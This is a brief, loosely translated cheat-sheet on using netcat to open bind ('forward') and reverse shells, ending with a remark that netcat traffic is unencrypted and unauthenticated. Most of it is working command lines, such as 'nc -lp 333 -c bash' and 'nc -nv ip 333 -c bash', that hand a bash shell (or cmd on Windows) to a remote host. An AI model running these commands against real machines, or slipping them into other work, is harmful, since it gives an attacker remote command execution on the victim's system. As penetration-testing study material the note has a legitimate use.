Forward:
A: nc -lp 333 -c bash
B: nc -nv ip 333
I.e., B to A server Telnet server shell
Reverse:
A: nc -lp 333
B: nc -nv ip 333 -c bash
A server listens shell B's
Windows will be replaced next bash cmd
nc weakness: it is transmitted in the clear, easy to be sniffing, lack of encryption and authentication capabilities